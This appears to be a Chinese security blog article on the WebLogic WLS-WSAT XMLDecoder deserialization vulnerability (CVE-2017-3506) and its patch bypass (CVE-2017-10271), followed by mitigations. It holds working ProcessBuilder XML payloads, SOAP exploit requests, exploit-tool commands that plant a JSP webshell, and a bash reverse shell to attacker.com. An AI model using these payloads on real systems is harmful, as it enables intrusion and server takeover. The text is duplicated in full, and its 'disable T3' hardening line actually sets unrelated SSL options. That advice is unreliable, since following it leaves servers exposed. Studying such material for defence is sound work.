1. WebLogic WLS-WSAT组件漏洞初探第一次遇到CVE-2017-3506这个漏洞是在一次企业安全评估中。当时客户反馈他们的WebLogic服务器最近频繁出现异常流量经过抓包分析发现有人正在尝试利用WLS-WSAT组件的漏洞进行攻击。这个漏洞之所以危险是因为它不需要任何身份验证攻击者只需要发送一个精心构造的HTTP请求就能在服务器上执行任意命令。WebLogic是美国Oracle公司开发的一款企业级应用服务器广泛应用于金融、电信等行业。WLS-WSAT是WebLogic中提供Web服务安全功能的组件它使用XMLDecoder来解析用户传入的XML数据。问题就出在这个XMLDecoder上——它能够将XML数据反序列化为Java对象而这个过程如果没有严格的校验就会成为攻击者的突破口。2. XMLDecoder反序列化机制剖析2.1 XMLDecoder工作原理XMLDecoder是Java标准库中的一个类用于将XML编码的数据反序列化为Java对象。它的设计初衷是为了方便Java对象的持久化和传输但它的强大功能也带来了安全隐患。当XMLDecoder解析XML时它会根据XML中的标签和属性来构造Java对象并调用其方法。例如下面这段XMLjava object classjava.lang.ProcessBuilder array classjava.lang.String length3 void index0string/bin/bash/string/void void index1string-c/string/void void index2stringtouch /tmp/hacked/string/void /array void methodstart/ /object /java这段XML会被XMLDecoder解析为创建一个ProcessBuilder对象设置其参数为[/bin/bash, -c, touch /tmp/hacked]调用start()方法执行命令2.2 漏洞触发条件在WebLogic的WLS-WSAT组件中攻击者可以通过SOAP请求将恶意XML发送到服务器。服务器在处理这些请求时会使用XMLDecoder来解析WorkContext部分的XML数据。由于没有对XML内容进行严格校验攻击者可以构造特殊的XML来执行任意Java代码。典型的漏洞利用请求如下POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: target.com:7001 Content-Type: text/xml Content-Length: 1234 soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ !-- 恶意XML内容 -- /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope3. CVE-2017-3506漏洞利用详解3.1 漏洞检测方法检测WebLogic服务器是否存在这个漏洞可以通过以下几种方式路径探测访问以下URL之一如果返回200状态码则可能存在漏洞/wls-wsat/CoordinatorPortType/wls-wsat/CoordinatorPortType11/wls-wsat/ParticipantPortType/wls-wsat/RegistrationPortTypeRPC使用检测工具可以使用现成的检测工具如java -jar cve-2017-3506_detector.jar -u http://target:7001手动发送探测请求发送一个简单的XML请求观察服务器响应POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Host: target.com:7001 Content-Type: text/xml Content-Length: 100 soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ java version1.4.0 classjava.beans.XMLDecoder/ /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope3.2 漏洞利用实战一旦确认漏洞存在攻击者通常会执行以下步骤上传WebShelljava -jar cve-2017-3506_exploit.jar -s http://target:7001 /wls-wsat/CoordinatorPortType11 shell.jsp这个命令会在服务器上上传一个JSP WebShell通常位于/wls-wsat/shell.jsp执行命令 通过访问WebShell并传入命令参数来执行系统命令http://target:7001/wls-wsat/shell.jsp?passwordsecfreecommandwhoami反弹Shell 更高级的攻击者会尝试建立反向Shell连接bash -i /dev/tcp/attacker.com/4444 014. 补丁绕过与CVE-2017-102714.1 原始补丁分析Oracle针对CVE-2017-3506发布的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法private void validate(InputStream is) { WebLogicSAXParserFactory factory new WebLogicSAXParserFactory(); try { SAXParser parser factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement(String uri, String localName, String qName, Attributes attributes) { if (qName.equalsIgnoreCase(object)) { throw new IllegalStateException(Invalid context type: object); } } }); } catch (Exception e) { throw new IllegalStateException(Parser Exception, e); } }这个补丁只是简单地检查XML中是否包含object标签如果发现就抛出异常。4.2 补丁绕过方法安全研究人员很快发现这个补丁可以通过以下方式绕过使用void标签代替objectvoid classjava.lang.ProcessBuilder array classjava.lang.String length3 void index0string/bin/bash/string/void void index1string-c/string/void void index2string恶意命令/string/void /array void methodstart/ /void使用array标签array classjava.lang.String length3 void index0stringcmd.exe/string/void void index1string/c/string/void void index2string恶意命令/string/void /array这种绕过方式最终导致了CVE-2017-10271漏洞的产生。5. 漏洞防御与修复建议5.1 临时缓解措施如果无法立即安装补丁可以采取以下临时措施删除WLS-WSAT组件rm -f $MIDDLEWARE_HOME/wlserver_10.3/server/lib/wls-wsat.war rm -f $DOMAIN_HOME/servers/AdminServer/tmp/.internal/wls-wsat.war rm -rf $DOMAIN_HOME/servers/AdminServer/tmp/_WL_internal/wls-wsat网络访问控制在防火墙或负载均衡设备上阻止对/wls-wsat/*路径的访问只允许可信IP访问WebLogic管理端口使用Web应用防火墙(WAF) 配置WAF规则拦截包含以下特征的请求请求路径包含wls-wsatContent-Type为text/xml请求体包含WorkContext和XMLDecoder等关键字5.2 官方补丁安装Oracle官方已经发布了针对这两个漏洞的补丁CVE-2017-3506补丁号p26519424_1036_Generic下载地址Oracle官网安全公告CVE-2017-10271补丁号p27395085_1036_Generic下载地址Oracle官网安全公告安装补丁后建议重启WebLogic服务以使补丁生效。5.3 长期安全建议最小化安装原则只安装必要的组件禁用不需要的功能定期审查已安装的组件移除不使用的部分网络隔离将WebLogic服务器放在DMZ区域使用跳板机管理WebLogic控制台安全加固# 修改默认端口 sed -i s/listen-port7001/listen-port自定义端口/ config.xml # 禁用T3协议 set JAVA_OPTIONS-Dweblogic.security.SSL.ignoreHostnameVerificationtrue -Dweblogic.security.allowCryptoJDefaultJCEVerificationtrue -Dweblogic.security.allowCryptoJDefaultPRNGtrue -Dweblogic.security.SSL.enableJSSEtrue -Dweblogic.security.SSL.minimumProtocolVersionTLSv1.2监控与审计启用WebLogic安全审计日志监控异常日志条目特别是包含XMLDecoder、WorkContext等关键字的日志部署SIEM系统进行实时安全事件分析在实际运维中我遇到过不少因为忽视基础安全配置而导致的安全事件。有一次客户的WebLogic服务器因为使用了弱密码和默认端口加上没有及时打补丁结果被攻击者利用这个漏洞植入了挖矿程序。等我们发现时服务器的CPU已经持续满载运行了半个月。这个教训告诉我们安全无小事任何一个环节的疏忽都可能导致严重后果。
WebLogic WLS-WSAT组件XMLDecoder反序列化漏洞深度剖析(CVE-2017-3506)
1. WebLogic WLS-WSAT组件漏洞初探第一次遇到CVE-2017-3506这个漏洞是在一次企业安全评估中。当时客户反馈他们的WebLogic服务器最近频繁出现异常流量经过抓包分析发现有人正在尝试利用WLS-WSAT组件的漏洞进行攻击。这个漏洞之所以危险是因为它不需要任何身份验证攻击者只需要发送一个精心构造的HTTP请求就能在服务器上执行任意命令。WebLogic是美国Oracle公司开发的一款企业级应用服务器广泛应用于金融、电信等行业。WLS-WSAT是WebLogic中提供Web服务安全功能的组件它使用XMLDecoder来解析用户传入的XML数据。问题就出在这个XMLDecoder上——它能够将XML数据反序列化为Java对象而这个过程如果没有严格的校验就会成为攻击者的突破口。2. XMLDecoder反序列化机制剖析2.1 XMLDecoder工作原理XMLDecoder是Java标准库中的一个类用于将XML编码的数据反序列化为Java对象。它的设计初衷是为了方便Java对象的持久化和传输但它的强大功能也带来了安全隐患。当XMLDecoder解析XML时它会根据XML中的标签和属性来构造Java对象并调用其方法。例如下面这段XMLjava object classjava.lang.ProcessBuilder array classjava.lang.String length3 void index0string/bin/bash/string/void void index1string-c/string/void void index2stringtouch /tmp/hacked/string/void /array void methodstart/ /object /java这段XML会被XMLDecoder解析为创建一个ProcessBuilder对象设置其参数为[/bin/bash, -c, touch /tmp/hacked]调用start()方法执行命令2.2 漏洞触发条件在WebLogic的WLS-WSAT组件中攻击者可以通过SOAP请求将恶意XML发送到服务器。服务器在处理这些请求时会使用XMLDecoder来解析WorkContext部分的XML数据。由于没有对XML内容进行严格校验攻击者可以构造特殊的XML来执行任意Java代码。典型的漏洞利用请求如下POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: target.com:7001 Content-Type: text/xml Content-Length: 1234 soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ !-- 恶意XML内容 -- /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope3. CVE-2017-3506漏洞利用详解3.1 漏洞检测方法检测WebLogic服务器是否存在这个漏洞可以通过以下几种方式路径探测访问以下URL之一如果返回200状态码则可能存在漏洞/wls-wsat/CoordinatorPortType/wls-wsat/CoordinatorPortType11/wls-wsat/ParticipantPortType/wls-wsat/RegistrationPortTypeRPC使用检测工具可以使用现成的检测工具如java -jar cve-2017-3506_detector.jar -u http://target:7001手动发送探测请求发送一个简单的XML请求观察服务器响应POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Host: target.com:7001 Content-Type: text/xml Content-Length: 100 soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ soapenv:Header work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ java version1.4.0 classjava.beans.XMLDecoder/ /work:WorkContext /soapenv:Header soapenv:Body/ /soapenv:Envelope3.2 漏洞利用实战一旦确认漏洞存在攻击者通常会执行以下步骤上传WebShelljava -jar cve-2017-3506_exploit.jar -s http://target:7001 /wls-wsat/CoordinatorPortType11 shell.jsp这个命令会在服务器上上传一个JSP WebShell通常位于/wls-wsat/shell.jsp执行命令 通过访问WebShell并传入命令参数来执行系统命令http://target:7001/wls-wsat/shell.jsp?passwordsecfreecommandwhoami反弹Shell 更高级的攻击者会尝试建立反向Shell连接bash -i /dev/tcp/attacker.com/4444 014. 补丁绕过与CVE-2017-102714.1 原始补丁分析Oracle针对CVE-2017-3506发布的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法private void validate(InputStream is) { WebLogicSAXParserFactory factory new WebLogicSAXParserFactory(); try { SAXParser parser factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement(String uri, String localName, String qName, Attributes attributes) { if (qName.equalsIgnoreCase(object)) { throw new IllegalStateException(Invalid context type: object); } } }); } catch (Exception e) { throw new IllegalStateException(Parser Exception, e); } }这个补丁只是简单地检查XML中是否包含object标签如果发现就抛出异常。4.2 补丁绕过方法安全研究人员很快发现这个补丁可以通过以下方式绕过使用void标签代替objectvoid classjava.lang.ProcessBuilder array classjava.lang.String length3 void index0string/bin/bash/string/void void index1string-c/string/void void index2string恶意命令/string/void /array void methodstart/ /void使用array标签array classjava.lang.String length3 void index0stringcmd.exe/string/void void index1string/c/string/void void index2string恶意命令/string/void /array这种绕过方式最终导致了CVE-2017-10271漏洞的产生。5. 漏洞防御与修复建议5.1 临时缓解措施如果无法立即安装补丁可以采取以下临时措施删除WLS-WSAT组件rm -f $MIDDLEWARE_HOME/wlserver_10.3/server/lib/wls-wsat.war rm -f $DOMAIN_HOME/servers/AdminServer/tmp/.internal/wls-wsat.war rm -rf $DOMAIN_HOME/servers/AdminServer/tmp/_WL_internal/wls-wsat网络访问控制在防火墙或负载均衡设备上阻止对/wls-wsat/*路径的访问只允许可信IP访问WebLogic管理端口使用Web应用防火墙(WAF) 配置WAF规则拦截包含以下特征的请求请求路径包含wls-wsatContent-Type为text/xml请求体包含WorkContext和XMLDecoder等关键字5.2 官方补丁安装Oracle官方已经发布了针对这两个漏洞的补丁CVE-2017-3506补丁号p26519424_1036_Generic下载地址Oracle官网安全公告CVE-2017-10271补丁号p27395085_1036_Generic下载地址Oracle官网安全公告安装补丁后建议重启WebLogic服务以使补丁生效。5.3 长期安全建议最小化安装原则只安装必要的组件禁用不需要的功能定期审查已安装的组件移除不使用的部分网络隔离将WebLogic服务器放在DMZ区域使用跳板机管理WebLogic控制台安全加固# 修改默认端口 sed -i s/listen-port7001/listen-port自定义端口/ config.xml # 禁用T3协议 set JAVA_OPTIONS-Dweblogic.security.SSL.ignoreHostnameVerificationtrue -Dweblogic.security.allowCryptoJDefaultJCEVerificationtrue -Dweblogic.security.allowCryptoJDefaultPRNGtrue -Dweblogic.security.SSL.enableJSSEtrue -Dweblogic.security.SSL.minimumProtocolVersionTLSv1.2监控与审计启用WebLogic安全审计日志监控异常日志条目特别是包含XMLDecoder、WorkContext等关键字的日志部署SIEM系统进行实时安全事件分析在实际运维中我遇到过不少因为忽视基础安全配置而导致的安全事件。有一次客户的WebLogic服务器因为使用了弱密码和默认端口加上没有及时打补丁结果被攻击者利用这个漏洞植入了挖矿程序。等我们发现时服务器的CPU已经持续满载运行了半个月。这个教训告诉我们安全无小事任何一个环节的疏忽都可能导致严重后果。